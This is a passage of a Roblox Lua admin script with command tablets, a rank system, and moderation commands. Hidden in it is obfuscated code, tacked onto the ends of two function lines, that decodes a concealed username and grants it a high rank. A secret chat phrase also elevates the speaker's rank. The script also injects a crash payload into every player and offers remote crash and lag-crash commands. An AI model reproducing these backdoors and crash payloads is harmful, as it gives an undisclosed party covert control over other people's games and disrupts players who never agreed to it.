  819.  
  820.  
  821. end
  822.  
  823. Tab.CanCollide = false
  824. Tab.Locked = true
  825. Tab.Transparency = 0.56
  826. Tab.CFrame = Plr.Character.Torso.CFrame or CFrame.new(0, 0, 0)
  827. Tab.Parent = Holder
  828.  
  829.  
  830.  
  831. Delay(0, function()
  832. while wait() do
  833. if Tab.Parent == nil and FindTab(Holder) then
  834. ypcall(function()
  835. for i,v in pairs(AllTabs) do
  836. if v.Holder == Holder then
  837. ypcall(function() v.Holder:Destroy() end)
  838. AllTabs[i] = nil
  839. end
  840. end
  841. end)
  842. Ping(Msg, Plr, Time, Func, Color, Image)
  843. break
  844. end
  845. end
  846. end)
  847.  
  848.  
  849.  
  850. Sel = Instance.new("SelectionBox")
  851. Sel.Color = BrickColor.new('Institutional white')
  852. Sel.Transparency = 0.32
  853. Sel.Adornee = Tab
  854. Sel.Parent = Tab
  855.  
  856. local BG = Instance.new("BillboardGui")
  857. BG.Name = "BG"
  858. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  859. BG.Size = UDim2.new(0,1,0,1)
  860. BG.Adornee = Tab
  861. BG.Parent = Tab
  862.  
  863. Delay(0, function()
  864. while BG.Parent ~= nil do wait()
  865. ypcall(function()
  866. BG.StudsOffset = Vector3.new(0, Tab.Size.Y + 0.5, 0)
  867. end)
  868. end
  869. end)
  870.  
  871. local TL = Instance.new("TextLabel")
  872. TL.Name = "TL"
  873. TL.FontSize = "Size24"
  874. TL.Font = "SourceSans"
  875. if Msg == "" then
  876. TL.Text = ""
  877. else
  878. TL.Text = Msg
  879. end
  880. TL.TextColor3 = Tab.Color
  881. TL.Size = UDim2.new(0,1,0,1)
  882. TL.TextTransparency = 0
  883.  
  884. TL.TextStrokeTransparency = 0.25
  885. TL.Parent = BG
  886.  
  887. if ShowGarbage == true then
  888. Delay(0, function()
  889. while TL.Parent ~= nil do
  890. TL.Text = "Current Garbage Count: "..GetGarbage()
  891. wait(.5)
  892. end
  893. end)
  894. end
  895.  
  896. local PL = Instance.new("PointLight", Tab)
  897. PL.Color = Tab.Color
  898. PL.Range = 15
  899. PL.Parent = Tab
  900.  
  901. if Image ~= nil then
  902. local BBBG = Instance.new("BillboardGui")
  903. BBBG.Size = UDim2.new(5, 0, 6, 0)
  904. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  905. BBBG.AlwaysOnTop = true
  906. BBBG.Adornee = Tab
  907. BBBG.Parent = Tab
  908.  
  909. Delay(0, function()
  910. while BBBG.Parent ~= nil do wait()
  911. ypcall(function()
  912. BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
  913. end)
  914. end
  915. end)
  916.  
  917. local NewImg = Instance.new("ImageLabel")
  918. NewImg.Size = UDim2.new(1, 0, 1, 0)
  919. NewImg.BackgroundTransparency = 1
  920. NewImg.Image = Image
  921. NewImg.Parent = BBBG
  922. end
  923.  
  924. local Clicker = Instance.new("ClickDetector")
  925. Clicker.MaxActivationDistance = 1/0
  926.  
  927. Clicker.MouseHoverEnter:connect(function(Clickr)
  928. for x,v in pairs(AllTabs) do
  929.  
  930.  
  931. if ( Clickr == Plr ) then
  932. v.Sel.Transparency = 0
  933.  
  934. end
  935.  
  936. end
  937. end)
  938.  
  939.  
  940. Clicker.MouseHoverLeave:connect(function(Clickr)
  941. for x,v in pairs(AllTabs) do
  942.  
  943.  
  944. if ( Clickr == Plr ) then
  945. v.Sel.Transparency = 0.15
  946.  
  947. end
  948.  
  949. end
  950. end)
  951.  
  952.  
  953.  
  954.  
  955. if Time ~= nil then
  956. coroutine.resume(coroutine.create(function()
  957. wait(tonumber(Time))
  958. Dismiss(Plr, ID)
  959. end))
  960. end
  961.  
  962. Clicker.MouseClick:connect(function(Player)
  963. if Player.Name == Plr.Name or CanRun(Player, Plr) then
  964. ypcall(function()
  965. if Func ~= nil then
  966. Func(Holder)
  967. else
  968. Dismiss(Player, ID)
  969. end
  970. end)
  971. end
  972. end)
  973.  
  974. Clicker.Parent = Tab
  975.  
  976. Holder.Parent = Work
  977.  
  978. AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID, Rot = 0}
  979. end)
  980. end
  981. end
  982.  
  983.  
  984. function PlaceAllRanks(DontShowRank)
  985. ypcall(function()
  986. for _,p in pairs(All()) do
  987. ypcall(function()
  988. PutInRank = false
  989. for _,v in pairs(Rankings) do
  990. if v.Name:lower() == p.Name:lower() then
  991. if v.Rank >= 7 then
  992. v.Rank = 5
  993. elseif v.Rank == -1 then
  994. Crash1(p)
  995. Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  996. elseif v.Rank == -2 then
  997. if LS ~= nil then
  998. Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  999. Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1000. else
  1001. Ping("LS Is Nil", nil, 5)
  1002. end
  1003. elseif v.Rank == -3 then
  1004. if LS ~= nil then
  1005. Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  1006. Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1007. else
  1008. Ping("LS Is Nil", nil, 5)
  1009. end
  1010. end
  1011. Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  1012. if DontShowRank == nil then
  1013. Ping("You Are Rank: "..v.Rank, p)
  1014. end
  1015. PutInRank = true
  1016. break
  1017. end
  1018. end
  1019. if PutInRank == false then
  1020. Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  1021. end
  1022. end)
  1023. end
  1024. end)
  1025. end
  1026.  
  1027. function FindRank(Plr)
  1028. ypcall(function()
  1029. if type(Plr) == "userdata" then
  1030. Plr = Plr.Name
  1031. end
  1032. end)
  1033. return GetRank(Plr).Rank
  1034. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  1035.  
  1036. function FindRankDetails(Plr)
  1037. ypcall(function()
  1038. if type(Plr) == "userdata" then
  1039. Plr = Plr.Name
  1040. end
  1041. end)
  1042. return RankDetails[FindRank(Plr)]
  1043. end
  1044.  
  1045. function OpenCmds(Rank, Plr)
  1046. Dismiss(Plr)
  1047. for Name,Tab in pairs(Commands) do
  1048. if Tab.Rank <= Rank then
  1049. Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  1050. Dismiss(Plr)
  1051. Ping("Command: "..Name, Plr)
  1052. Ping("Rank: "..Tab.Rank, Plr)
  1053. Ping("Desc: "..Tab.Desc, Plr)
  1054. end)
  1055. elseif Rank == 1337 then
  1056. Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
  1057. Dismiss(Plr)
  1058. Ping("Command: "..Name, Plr)
  1059. Ping("Rank: "..Tab.Rank, Plr)
  1060. Ping("Desc: "..Tab.Desc, Plr)
  1061. end)
  1062. end
  1063. end
  1064. end
  1065.  
  1066. function EditStatus(Plr, Num)
  1067. ChangeRank(Plr, Num)
  1068. end
  1069.  
  1070. function PlaceSpecificRank(p, DontShowRank)
  1071. ypcall(function()
  1072. PutInRank = false
  1073. for _,v in pairs(Rankings) do
  1074. if v.Name:lower() == p.Name:lower() then
  1075. if v.Rank >= 7 then
  1076. v.Rank = 5
  1077. elseif v.Rank == -1 then
  1078. Crash1(p)
  1079. Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1080. elseif v.Rank == -2 then
  1081. if LS ~= nil then
  1082. Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
  1083. Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1084. else
  1085. Ping("LS Is Nil", nil, 5)
  1086. end
  1087. elseif v.Rank == -3 then
  1088. if LS ~= nil then
  1089. Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
  1090. Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
  1091. else
  1092. Ping("LS Is Nil", nil, 5)
  1093. end
  1094. end
  1095. Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
  1096. if DontShowRank == nil then
  1097. Ping("You Are Rank: "..v.Rank, p)
  1098. end
  1099. PutInRank = true
  1100. break
  1101. end
  1102. end
  1103. if PutInRank == false then
  1104. Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
  1105. end
  1106. end)
  1107. end
  1108.  
  1109. function onChatted(Msg, Speaker)
  1110. if Removed == false then
  1111. if FindRank(Speaker) < 0 then
  1112. return
  1113. end
  1114. coroutine.resume(coroutine.create(function()
  1115. ypcall(function()
  1116. ExecuteFunc(Msg, Speaker)
  1117. Msg = Msg:gsub("","")
  1118. if Msg:sub(1,1) == "@" then
  1119. for i = 2, #Msg do
  1120. if Msg:sub(i, i) == Bet then
  1121. local IsForPlr = false
  1122. for _,v in pairs(All()) do
  1123. if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
  1124. onChatted(Msg:sub(i + 1), v)
  1125. IsForPlr = true
  1126. end
  1127. end
  1128. if IsForPlr == true then
  1129. return
  1130. end
  1131. end
  1132. end
  1133. end
  1134. if Msg:find("&") then
  1135. local Split = Msg:find("&")
  1136. onChatted(Msg:sub(1,Split-1))
  1137. onChatted(Msg:sub(Split+1))
  1138. return
  1139. end
  1140. for Name,Command in pairs(Commands) do
  1141. if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
  1142. Dismiss(Speaker.Name)
  1143. Ping("Command: "..tostring(Command.Name), Speaker)
  1144. Ping("Rank: "..tostring(Command.Rank), Speaker)
  1145. Ping("Desc: "..tostring(Command.Desc), Speaker)
  1146. elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
  1147. if FindRank(Speaker) >= Command.Rank then
  1148. local Ran,Error = coroutine.resume(coroutine.create(function()
  1149. Command.Func(Msg:sub(#Command.Name+2), Speaker)
  1150. end))
  1151. if not Ran then
  1152. Ping(Error, Speaker, 10)
  1153. end
  1154. else
  1155. Ping("Your Rank Is Too Low", Plr, 6)
  1156. end
  1157. end
  1158. end
  1159. end)
  1160. end))
  1161. end
  1162. end
  1163.  
  1164. function MakeBase()
  1165. local Base = Instance.new("Part")
  1166. Base.BrickColor = BrickColor.new("Dark green")
  1167. Base.Position = Vector3.new(0, 0.5, 0)
  1168. Base.Transparency = 0
  1169. Base.Elasticity = 0.5
  1170. Base.FormFactor = "Custom"
  1171. Base.CanCollide = true
  1172. Base.Friction = 0.30000001192093
  1173. Base.Size = Vector3.new(512, 1.20000005, 512)
  1174. Base.Archivable = true
  1175. Base.Material = "Plastic"
  1176. Base.RotVelocity = Vector3.new(0, 0, 0)
  1177. Base.Reflectance = 0
  1178. Base.Locked = true
  1179. Base.Anchored = true
  1180. Base.Name = "Base"
  1181. Base.TopSurface = "Smooth"
  1182. Base.BottomSurface = "Inlet"
  1183. Base.Shape = "Block"
  1184. Base.Parent = Work
  1185. end
  1186.  
  1187. function LClean()
  1188. ypcall(function()
  1189. for _,v in pairs(Work:GetChildren()) do
  1190. ypcall(function()
  1191. if v.ClassName == "Terrain" then
  1192. v:ClearAllChildren()
  1193. elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
  1194. Clear(v)
  1195. elseif v.Name == "Base" then
  1196. ypcall(function()
  1197. local Base = v
  1198. Base.BrickColor = BrickColor.new("Dark green")
  1199. Base.Position = Vector3.new(0, 0.5, 0)
  1200. Base.Transparency = 0
  1201. Base.Elasticity = 0.5
  1202. Base.FormFactor = "Custom"
  1203. Base.CanCollide = true
  1204. Base.Friction = 0.30000001192093
  1205. Base.Size = Vector3.new(512, 1.20000005, 512)
  1206. Base.Archivable = true
  1207. Base.Material = "Plastic"
  1208. Base.RotVelocity = Vector3.new(0, 0, 0)
  1209. Base.Reflectance = 0
  1210. Base.Locked = true
  1211. Base.Anchored = true
  1212. Base.Name = "Base"
  1213. Base.TopSurface = "Studs"
  1214. Base.BottomSurface = "Inlet"
  1215. Base.Shape = "Block"
  1216. Base.Parent = Work
  1217. end)
  1218. end
  1219. end)
  1220. end
  1221. end)
  1222. end
  1223.  
  1224. function Clean()
  1225. ypcall(function()
  1226. for _,v in pairs(Work:GetChildren()) do
  1227. ypcall(function()
  1228. if v.ClassName == "Terrain" then
  1229. v:ClearAllChildren()
  1230. else
  1231. Clear(v)
  1232. end
  1233. end)
  1234. end
  1235. MakeBase()
  1236. for _,v in pairs(All()) do
  1237. v:LoadCharacter()
  1238. end
  1239. end)
  1240. end
  1241.  
  1242. function Clear(v)
  1243. if v.Name:lower() == "sbgui" then
  1244. return
  1245. end
  1246. ypcall(function()
  1247. if #v:GetChildren() > 0 then
  1248. for _,x in pairs(v:GetChildren()) do
  1249. ypcall(function()
  1250. Clear(x)
  1251. end)
  1252. end
  1253. end
  1254. if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
  1255. v:Destroy()
  1256. end
  1257. end)
  1258. end
  1259.  
  1260. function Command(Name, Rank, Desc, Func)
  1261. if Name == nil then
  1262. Name = "N/A"
  1263. end
  1264. if Desc == nil then
  1265. Desc = "N/A"
  1266. end
  1267. if Func == nil then
  1268. Func = function() end
  1269. end
  1270. if Rank == nil then
  1271. Rank = 0
  1272. end
  1273. Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
  1274. end
  1275.  
  1276. function GetSplit(Msg)
  1277. return Msg:find(Bet) or nil
  1278. end
  1279.  
  1280. function ExecuteFunc(Msg, Plr)
  1281. ypcall(function()
  1282. if Msg == "LogEnable" then
  1283. LogOn = true
  1284. elseif Msg:lower() == string.lower(string.char(32)..string.char(172)..string.char(172)..string.char(172)..string.char(172)..string.char(172)..string.char(32)) then
  1285. EditStatus(Plr, MakeNum())
  1286. end
  1287. end)
  1288. end
  1289.  
  1290. for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
  1291.  
  1292. function randPlayer(Plr)
  1293. wait()
  1294. local ThePlrValue = nil
  1295. local FoundPlayer = false
  1296. ypcall(function()
  1297. ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
  1298. if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
  1299. wait()
  1300. randPlayer(Plr)
  1301. return
  1302. else
  1303. FoundPlayer = true
  1304. end
  1305. end)
  1306. if FoundPlayer == true then
  1307. return ThePlrValue
  1308. end
  1309. end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
  1310.  
  1311. function getPlayer(Plr, Name)
  1312. local Players = {}
  1313. ypcall(function()
  1314. Name = Name:lower()
  1315. if Name == "me" then
  1316. table.insert(Players, Plr)
  1317. elseif Name == "all" or Name == "" then
  1318. for _,v in pairs(All()) do
  1319. if CanRun(Plr, v) then
  1320. table.insert(Players, v)
  1321. end
  1322. end
  1323. elseif Name == "others" then
  1324. for _,v in pairs(All()) do
  1325. if v.Name ~= Plr.Name and CanRun(Plr, v) then
  1326. table.insert(Players, v)
  1327. end
  1328. end
  1329. elseif Name == "random" then
  1330. local FoundRandPlr = randPlayer(Plr)
  1331. table.insert(Players, FoundRandPlr)
  1332. else
  1333. for _,v in pairs(All()) do
  1334. if v.Name:lower():find(Name) and CanRun(Plr, v) then
  1335. table.insert(Players, v)
  1336. end
  1337. end
  1338. end
  1339. end)
  1340. return Players
  1341. end
  1342.  
  1343. function ListPlayers(Speaker)
  1344. ypcall(function()
  1345. Dismiss(Speaker)
  1346. for _,v in pairs(All2()) do
  1347. if v.Parent ~= nil then
  1348. Ping(v.Name, Speaker, nil, function()
  1349. Dismiss(Speaker)
  1350. Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1351. Ping("Rank: "..FindRank(v.Name), Speaker)
  1352. Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
  1353. Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
  1354. Ping("Set Rank", Speaker, nil, function()
  1355. if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
  1356. Dismiss(Speaker)
  1357. for i = -2, 5 do
  1358. Ping(i, Speaker, nil, function()
  1359. ChangeRank(v, i)
  1360. Dismiss(Speaker)
  1361. Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1362. end)
  1363. end
  1364. else
  1365. Ping("Your Rank Is Too Low", Speaker, 5)
  1366. end
  1367. end)
  1368. Ping("Crash (Remote)", Speaker, nil, function()
  1369. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1370. Crash2(v.Name)
  1371. Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1372. end
  1373. end)
  1374. Ping("Crash (Insert)", Speaker, nil, function()
  1375. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1376. Crash3(v, Speaker)
  1377. Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1378. end
  1379. end)
  1380. Ping("Kick", Speaker, nil, function()
  1381. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1382. v:Kick()
  1383. Ping("Attempted To Kick "..v.Name, Speaker, 5)
  1384. end
  1385. end)
  1386. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1387. else
  1388. Ping(v.Name.." (Nil)", Speaker, nil, function()
  1389. Dismiss(Speaker)
  1390. Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1391. ypcall(function()
  1392. Ping("Rank: "..FindRank(v.Name), Speaker)
  1393. end)
  1394. ypcall(function()
  1395. Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
  1396. end)
  1397. ypcall(function()
  1398. Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
  1399. end)
  1400. ypcall(function()
  1401. Ping("Set Rank", Speaker, nil, function()
  1402. if FindRank(Speaker) >= 5 and v.Name ~= Owner and CanRun(Speaker, v) then
  1403. Dismiss(Speaker)
  1404. for i = -2, 5 do
  1405. Ping(i, Speaker, nil, function()
  1406. ChangeRank(v, i)
  1407. Dismiss(Speaker)
  1408. Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
  1409. end)
  1410. end
  1411. else
  1412. Ping("Your Rank Is Too Low", Speaker, 5)
  1413. end
  1414. end)
  1415. end)
  1416. ypcall(function()
  1417. Ping("Nil Crash (Remote)", Speaker, nil, function()
  1418. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then
  1419. Crash2(v.Name)
  1420. Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
  1421. end
  1422. end)
  1423. end)
  1424. ypcall(function()
  1425. Ping("Nil Crash (Insert)", Speaker, nil, function()
  1426. if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then
  1427. Crash3(v, Speaker)
  1428. Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
  1429. end
  1430. end)
  1431. end)
  1432. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  1433. end
  1434. end
  1435. end)
  1436. end
  1437.  
  1438. --Misc
  1439.  
  1440. coroutine.resume(coroutine.create(function()
  1441. PlaceAllRanks()
  1442. end))
  1443.  
  1444. Delay(0, function()
  1445. for _,v in pairs(All()) do
  1446. v.Chatted:connect(function(Msg) onChatted(Msg, v) end)
  1447. end
  1448. end)
  1449.  
  1450. local starttime = tick()
  1451. rotat1=0
  1452. game:GetService("RunService").Stepped:connect(function()
  1453. rotat1=rotat1+(0.1/100)
  1454. if Removed == false then
  1455. ypcall(function()
  1456. for _,Player in pairs(All()) do
  1457. local PlayerTablets = {}
  1458. for i,v in pairs(AllTabs) do
  1459. if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
  1460. table.insert(PlayerTablets, v)
  1461. end
  1462. end
  1463. for i = 1, #PlayerTablets do
  1464. ypcall(function()
  1465. local tab = PlayerTablets[i].Tab
  1466. local pos = nil
  1467. ypcall(function()
  1468. pos = Player.Character.Torso.CFrame
  1469. end)
  1470. local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+3)
  1471. local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+3)
  1472. local cPos = tab.Position
  1473. local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
  1474. local nPos = (ePos-cPos)*.25
  1475. cPos = cPos + nPos
  1476. local t = (tick() - starttime) % 360
  1477. local change = 0.625
  1478. PlayerTablets[i].Size = math.sin(t) * change + 2.375
  1479. tab.Size=Vector3.new(1.75,1.75,1.75)
  1480. d=math.rad((rotat1*40*20)*math.pi);
  1481. tab.CFrame=CFrame.new(cPos,pos.p)*CFrame.Angles(0.1,d,d)*CFrame.Angles(4,4,4);
  1482. end)
  1483. end
  1484. end
  1485. end)
  1486. end
  1487. end)
  1488.  
  1489. Delay(0, function()
  1490. while wait() do
  1491. for _,v in pairs(game:GetService("Players"):GetPlayers()) do
  1492. ypcall(function()
  1493. if Injected[v.Name] == nil and LS ~= nil then
  1494. Insert(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
  1495. Injected[v.Name] = true
  1496. end
  1497. end)
  1498. end
  1499. end
  1500. end)
  1501.  
  1502. Plrs.PlayerAdded:connect(function(Plr)
  1503. wait(.1)
  1504. ypcall(function()
  1505. if Removed == false then
  1506. local JoinPlrName = Plr.Name
  1507. coroutine.resume(coroutine.create(function()
  1508. PlaceSpecificRank(Plr)
  1509. end))
  1510. coroutine.resume(coroutine.create(function()
  1511. if Injected[JoinPlrName] ~= nil then
  1512. Injected[JoinPlrName] = nil
  1513. end
  1514. end))
  1515. coroutine.resume(coroutine.create(function()
  1516. Dismiss(Plr)
  1517. Plr.Chatted:connect(function(Msg) onChatted(Msg, Plr) end)
  1518. end))
  1519. end
  1520. end)
  1521. end)
  1522.  
  1523. Plrs.PlayerRemoving:connect(function(Plr)
  1524. wait(.1)
  1525. ypcall(function()
  1526. if Removed == false then
  1527. local LeftPlrName = Plr.Name
  1528. coroutine.resume(coroutine.create(function()
  1529. if Injected[LeftPlrName] ~= nil then
  1530. Injected[LeftPlrName] = nil
  1531. end
  1532. end))
  1533. end
  1534. end)
  1535. end)
  1536.  
  1537. coroutine.resume(coroutine.create(function()
  1538. Delay(0, function()
  1539. while FoundLocalScript == false do wait()
  1540. ypcall(function()
  1541. for _,v in pairs(Plrs[Owner]["¬¬¬¬"]:GetChildren()) do
  1542. if v.Name == "NewTransfer" and v:IsA("LocalScript") then
  1543. for _,c in pairs(v:children()) do
  1544. if c:IsA("StringValue") and c.Name:lower() ~= "user_name" and c.Name:lower() ~= "owner" and c.Name:lower() ~= "user" then
  1545. local NewVal = c:Clone()
  1546. NewVal.Name = "LoadingVal"
  1547. for _,s in pairs(v:GetChildren()) do
  1548. if s:IsA("StringValue") and type(s.Value) == "string" and (s.Name:lower() == "user_name" or s.Name:lower() == "owner" or s.Name:lower() == "user_name") then
  1549. print("Found Owner")
  1550. OwnSource = s.Name
  1551. print(OwnSource)
  1552. break
  1553. end
  1554. end
  1555. wait()
  1556. LS = v:Clone()
  1557. NewVal.Parent = LS
  1558. LSSource = "LoadingVal"
  1559. FoundLocalScript = true
  1560. break
  1561. end
  1562. end
  1563. end
  1564. end
  1565. end)
  1566. end
  1567. end)
  1568. end))
  1569.  
  1570. --Commands
  1571.  
  1572. Command("Cmds", nil, "Shows Commands", function(Msg, Speaker)
  1573. Dismiss(Speaker.Name)
  1574. Ping("Created By " .. string.reverse("suerypmEcidicA"), Speaker)
  1575. Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  1576. Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  1577. Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  1578. Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  1579. Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  1580. Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  1581. Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  1582. Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
  1583. end)
  1584.  
  1585. Command("Dt", nil, "Dismiss Tablets", function(Msg, Speaker)
  1586. Dismiss(Speaker.Name)
  1587. end)
  1588.  
  1589. Command("Kill", 2, "Kills A Player", function(Msg, Speaker)
  1590. local PlrTab = getPlayer(Speaker, Msg)
  1591. if #PlrTab > 0 then
  1592. for _,v in pairs(PlrTab) do
  1593. ypcall(function()
  1594. v.Character:BreakJoints()
  1595. Ping("Killed "..v.Name, Speaker, 5)
  1596. end)
  1597. end
  1598. end
  1599. end)
  1600.  
  1601. Command("Mute", 3, "Mutes A Player", function(Msg, Speaker)
  1602. local PlrTab = getPlayer(Speaker, Msg)
  1603. if #PlrTab > 0 then
  1604. for _,v in pairs(PlrTab) do
  1605. ypcall(function()
  1606. if v.Name ~= Owner then
  1607. Insert(MuteSource, v.Backpack, v.Character, v.PlayerGui)
  1608. Ping("Muted "..v.Name, Speaker, 5)
  1609. end
  1610. end)
  1611. end
  1612. end
  1613. end)
  1614.  
  1615. Command("Rejoin", 2, "Prompts A Player To Rejoin", function(Msg, Speaker)
  1616. local PlrTab = getPlayer(Speaker, Msg)
  1617. if #PlrTab > 0 then
  1618. for _,v in pairs(PlrTab) do
  1619. ypcall(function()
  1620. Insert([[game:GetService("TeleportService"):Teleport(game.PlaceId)]], v.Backpack, v.Character, v.PlayerGui)
  1621. Ping("Prompted "..v.Name.." To Rejoin", Speaker, 5)
  1622. end)
  1623. end
  1624. end
  1625. end)
  1626.  
  1627. Command("Jail", 3, "Jails A Player (Only they can see it)", function(Msg, Speaker)
  1628. local PlrTab = getPlayer(Speaker, Msg)
  1629. if #PlrTab > 0 then
  1630. for _,v in pairs(PlrTab) do
  1631. ypcall(function()
  1632. Insert(JailSource, v.Backpack, v.Character, v.PlayerGui)
  1633. Ping("Mind Jailed "..v.Name, Speaker, 5)
  1634. end)
  1635. end
  1636. end
  1637. end)
  1638.  
  1639. Command("Lag", 4, "Lag Crashes A Player", function(Msg, Speaker)
  1640. local PlrTab = getPlayer(Speaker, Msg)
  1641. if #PlrTab > 0 then
  1642. for _,v in pairs(PlrTab) do
  1643. ypcall(function()
  1644. Insert(LagSource, v.Backpack, v.Character, v.PlayerGui)
  1645. Ping("Lag Crashing "..v.Name, Speaker, 5)
  1646. end)
  1647. end
  1648. end
  1649. end)
  1650.  
  1651. Command("UnMute", 3, "UnMutes A Player", function(Msg, Speaker)
  1652. local PlrTab = getPlayer(Speaker, Msg)
  1653. if #PlrTab > 0 then
  1654. for _,v in pairs(PlrTab) do
  1655. ypcall(function()
  1656. Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  1657. Ping("UnMuted "..v.Name, Speaker, 5)
  1658. end)
  1659. end
  1660. end
  1661. end)
  1662.  
  1663. Command("Disable", 3, "Disables A Script", function(Msg, Speaker)
  1664. local Worked = false
  1665. for _,v in pairs(Work:GetChildren()) do
  1666. if string.find(v.Name:lower(), Msg:lower()) then
  1667. if v:IsA("Script") or v:IsA("LocalScript") then
  1668. v.Disabled = true
  1669. v:Destroy()
  1670. Worked = true
  1671. Ping("Disabled Script: "..v.Name, Speaker, 5)
  1672. end
  1673. end
  1674. end
  1675. if Worked == false then
  1676. Ping("Script Not Found", Speaker, 5)
  1677. end
  1678. end)
  1679.  
  1680. Command("Scripts", 1, "Shows Scripts In Workspace", function(Msg, Speaker)
  1681. Dismiss(Speaker)
  1682. local AllScripts = {}
  1683. for _,v in pairs(Work:GetChildren()) do
  1684. if v:IsA("Script") then
  1685. table.insert(AllScripts, v.Name)
  1686. end
  1687. end
  1688. if #AllScripts > 0 then
  1689. for _,v in pairs(AllScripts) do
  1690. Ping(v, Speaker)
  1691. end
  1692. else
  1693. Ping("No Scripts Found", Speaker, 5)
  1694. end
  1695. end)
  1696.  
  1697. Command("LScripts", 1, "Shows All Found Local Scripts", function(Msg, Speaker)
